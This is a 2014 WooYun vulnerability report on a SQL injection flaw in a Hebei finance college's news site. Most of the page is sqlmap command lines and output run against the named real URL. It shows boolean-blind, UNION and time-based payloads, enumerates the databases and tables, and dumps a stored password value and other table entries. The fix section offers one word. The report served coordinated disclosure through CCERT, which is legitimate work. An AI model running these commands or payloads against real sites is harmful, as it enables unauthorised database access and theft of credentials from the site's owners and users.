当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073410

漏洞标题:河北某金融学院网站存在Sql注入漏洞

相关厂商:CCERT教育网应急响应组

漏洞作者: 宁静致远

提交时间:2014-08-22 09:58

修复时间:2014-10-06 10:00

公开时间:2014-10-06 10:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-22: 细节已通知厂商并且等待厂商处理中
2014-08-22: 厂商已经确认,细节仅向厂商公开
2014-09-01: 细节向核心白帽子及相关领域专家公开
2014-09-11: 细节向普通白帽子公开
2014-09-21: 细节向实习白帽子公开
2014-10-06: 细节向公众公开

简要描述:

河北某金融学院网站存在Sql注入漏洞

详细说明:

河北某金融学院网站存在Sql注入漏洞,漏洞地址“http://news1.hbcf.edu.cn/gjjy/new.php?id=1017&typeid=0&borderid=0”

漏洞证明:

C:\Users\Administrator>sqlmap.py -u "http://news1.hbcf.edu.cn/gjjy/new.php?id=
17*&typeid=0&borderid=0" --dbms mysql --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutu
consent is illegal. It is the end user's responsibility to obey all applicabl
local, state and federal laws. Developers assume no liability and are not resp
sible for any misuse or damage caused by this program
[*] starting at 15:12:45
custom injection marking character ('*') found in option '-u'. Do you want to
ocess it? [Y/n/q]
[15:12:46] [INFO] testing connection to the target URL
[15:12:47] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) req
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 AND 7231=7231&ty
id=0&borderid=0
Type: UNION query
Title: MySQL UNION query (NULL) - 16 columns
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 UNION ALL SELECT
ULL,NULL,NULL,NULL,CONCAT(0x7177617271,0x466a69726c4c714d7270,0x716c777a71),NU
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&typeid=0&borderid=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 AND SLEEP(5)&typ
d=0&borderid=0
---
[15:12:47] [INFO] testing MySQL
[15:12:47] [INFO] confirming MySQL
[15:12:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.4, Apache 2.2.6
back-end DBMS: MySQL >= 5.0.0
[15:12:47] [INFO] fetching database names
available databases [1]:
[*] webauth
[15:12:47] [INFO] fetched data logged to text files under 'C:\Users\Administra
r\.sqlmap\output\news1.hbcf.edu.cn'
[*] shutting down at 15:12:47
C:\Users\Administrator>sqlmap.py -u "http://news1.hbcf.edu.cn/gjjy/new.php?id=
17*&typeid=0&borderid=0" --dbms mysql -D "webauth" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutu
consent is illegal. It is the end user's responsibility to obey all applicabl
local, state and federal laws. Developers assume no liability and are not resp
sible for any misuse or damage caused by this program
[*] starting at 15:13:08
custom injection marking character ('*') found in option '-u'. Do you want to
ocess it? [Y/n/q]
[15:13:09] [INFO] testing connection to the target URL
[15:13:10] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) req
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 AND 7231=7231&ty
id=0&borderid=0
Type: UNION query
Title: MySQL UNION query (NULL) - 16 columns
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 UNION ALL SELECT
ULL,NULL,NULL,NULL,CONCAT(0x7177617271,0x466a69726c4c714d7270,0x716c777a71),NU
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&typeid=0&borderid=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 AND SLEEP(5)&typ
d=0&borderid=0
---
[15:13:10] [INFO] testing MySQL
[15:13:10] [INFO] confirming MySQL
[15:13:10] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.4, Apache 2.2.6
back-end DBMS: MySQL >= 5.0.0
[15:13:10] [INFO] fetching tables for database: 'webauth'
Database: webauth
[1 table]
+----------+
| user_pwd |
+----------+
[15:13:11] [INFO] fetched data logged to text files under 'C:\Users\Administra
r\.sqlmap\output\news1.hbcf.edu.cn'
[*] shutting down at 15:13:11
C:\Users\Administrator>sqlmap.py -u "http://news1.hbcf.edu.cn/gjjy/new.php?id=
17*&typeid=0&borderid=0" --dbms mysql -D "webauth" -T "user_pwd" --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutu
consent is illegal. It is the end user's responsibility to obey all applicabl
local, state and federal laws. Developers assume no liability and are not resp
sible for any misuse or damage caused by this program
[*] starting at 15:13:22
custom injection marking character ('*') found in option '-u'. Do you want to
ocess it? [Y/n/q]
[15:13:23] [INFO] testing connection to the target URL
[15:13:24] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) req
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 AND 7231=7231&ty
id=0&borderid=0
Type: UNION query
Title: MySQL UNION query (NULL) - 16 columns
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 UNION ALL SELECT
ULL,NULL,NULL,NULL,CONCAT(0x7177617271,0x466a69726c4c714d7270,0x716c777a71),NU
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&typeid=0&borderid=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 AND SLEEP(5)&typ
d=0&borderid=0
---
[15:13:24] [INFO] testing MySQL
[15:13:24] [INFO] confirming MySQL
[15:13:24] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.4, Apache 2.2.6
back-end DBMS: MySQL >= 5.0.0
[15:13:24] [INFO] fetching columns for table 'user_pwd' in database 'webauth'
[15:13:25] [INFO] fetching entries for table 'user_pwd' in database 'webauth'
[15:13:25] [WARNING] something went wrong with full UNION technique (most prob
ly because of limitation on retrieved number of entries). Falling back to part
l UNION technique
[15:13:26] [INFO] the SQL query used returns 1 entries
[15:13:26] [INFO] retrieved: "wampp"
[15:13:26] [INFO] analyzing table dump for possible password hashes
Database: webauth
Table: user_pwd
[1 entry]
+-------+
| pass |
+-------+
| wampp |
+-------+
[15:13:26] [INFO] table 'webauth.user_pwd' dumped to CSV file 'C:\Users\Admini
rator\.sqlmap\output\news1.hbcf.edu.cn\dump\webauth\user_pwd.csv'
[15:13:26] [INFO] fetched data logged to text files under 'C:\Users\Administra
r\.sqlmap\output\news1.hbcf.edu.cn'
[*] shutting down at 15:13:26
C:\Users\Administrator>sqlmap.py -u "http://news1.hbcf.edu.cn/gjjy/new.php?id=
17*&typeid=0&borderid=0" --dbms mysql -D "gjjy" -T "users" --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutu
consent is illegal. It is the end user's responsibility to obey all applicabl
local, state and federal laws. Developers assume no liability and are not resp
sible for any misuse or damage caused by this program
[*] starting at 15:13:38
custom injection marking character ('*') found in option '-u'. Do you want to
ocess it? [Y/n/q]
[15:13:39] [INFO] testing connection to the target URL
[15:13:40] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) req
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 AND 7231=7231&ty
id=0&borderid=0
Type: UNION query
Title: MySQL UNION query (NULL) - 16 columns
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 UNION ALL SELECT
ULL,NULL,NULL,NULL,CONCAT(0x7177617271,0x466a69726c4c714d7270,0x716c777a71),NU
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&typeid=0&borderid=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://news1.hbcf.edu.cn:80/gjjy/new.php?id=1017 AND SLEEP(5)&typ
d=0&borderid=0
---
[15:13:40] [INFO] testing MySQL
[15:13:40] [INFO] confirming MySQL
[15:13:40] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.4, Apache 2.2.6
back-end DBMS: MySQL >= 5.0.0
[15:13:40] [INFO] fetching columns for table 'users' in database 'gjjy'
[15:13:40] [INFO] fetching entries for table 'users' in database 'gjjy'
[15:13:40] [WARNING] something went wrong with full UNION technique (most prob
ly because of limitation on retrieved number of entries). Falling back to part
l UNION technique
[15:13:40] [INFO] the SQL query used returns 2 entries
[15:13:40] [INFO] resumed: "123450"
[15:13:40] [INFO] resumed: "123450"
[15:13:40] [INFO] analyzing table dump for possible password hashes
Database: gjjy
Table: users
[2 entries]
+---------+
| purview |
+---------+
| 123450 |
| 123450 |
+---------+
[15:13:40] [INFO] table 'gjjy.users' dumped to CSV file 'C:\Users\Administrato
.sqlmap\output\news1.hbcf.edu.cn\dump\gjjy\users.csv'
[15:13:40] [INFO] fetched data logged to text files under 'C:\Users\Administra
r\.sqlmap\output\news1.hbcf.edu.cn'

修复方案:

过滤

版权声明:转载请注明来源 宁静致远@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-08-22 13:52

厂商回复:

通知用户整改中

最新状态:

暂无